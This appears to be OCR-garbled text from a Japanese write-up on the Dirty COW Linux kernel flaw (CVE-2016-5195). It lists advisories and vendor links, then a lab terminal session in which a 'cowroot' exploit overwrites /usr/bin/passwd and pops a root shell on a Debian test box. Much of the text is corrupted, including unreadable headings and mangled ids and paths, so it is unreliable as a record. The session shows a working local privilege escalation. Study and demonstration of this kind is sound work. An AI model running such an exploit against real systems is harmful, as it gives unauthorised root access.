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- CVE-2016-5195

- JVNVU#91983575 Linux A—RILDAEYH T RTLIZEESN TS copy-on-write HtE(THEAIREN AL
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— Vulnerability Note VU#243144 — Linux kernel memory subsystem copy on write mechanism contains a race condition

vulnerability
Linux Kernel
— ChangelLog—4.8.3

— ChangelLog—4.7.9
— Changelog—4.4.26

Linux T4RARJE21—S3>
- CVE-2016-5195 (Debian)
- CVE-2016-5195 in Ubuntu

- CVE-2016-5195 — Red Hat Customer Portal
- CVE-2016-5195 | SUSE
- ALAS-2016-757 (Amazon Linux)
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Debian 7.8 + Kernel 3.2.0-4-amd64


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
https://jvn.jp/vu/JVNVU91983575/index.html
https://jvn.jp/vu/JVNVU91983575/index.html
https://www.kb.cert.org/vuls/id/243144
https://www.kb.cert.org/vuls/id/243144
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.3
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.7.9
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.26
https://security-tracker.debian.org/tracker/CVE-2016-5195
http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html
https://access.redhat.com/security/cve/cve-2016-5195
https://www.suse.com/security/cve/CVE-2016-5195.html
https://alas.aws.amazon.com/ALAS-2016-757.html
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pentest@debian77: ~/CVE-2016-5195
D7 ILFY #REEE) FT/wmv) HBRE(S) WK AJLTH)

pentest@debian’7:~/CVE-2016-5195$ uname -an

Linux debian77 3.2.0-4-amd64 #1 SMP Debian 3.2.65-1+deb7u2 x86_64 GNU/Linux
pentest@debian77:~/CVE-20816-5195% uname -r

3.2.0-4-amd64

pentest@debian77:~/CVE-2016-5195$% whoami

pentest

pentest@debian’7:~/CVE-2016-5195% id

u1d 1ﬁﬁl{pentest} gld 1ﬁﬁﬁ{pentest} groups= 1ﬁﬁﬁ{pentest} 24{cd|om} 25{f10ppy} 29(a

» ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 51096
Racing, this may take a while..
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
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loot@deblan?? /home/pentest/CVE-2016-5195# whoami

root

root@debian77:/home/pentest/CVE-2016-5195# id

Jid=8(root) gid=1000(pentest) groups=0(root), 24(cdrom} 25(floppy),29(audio), 30 (dip
), 44(video),46(plugdev),1@4(scanner), 187 (bluetooth), 109 (netdev), 1000 ( pentest)
root@debian’7: /home/pentest/CVE-2016-5195#
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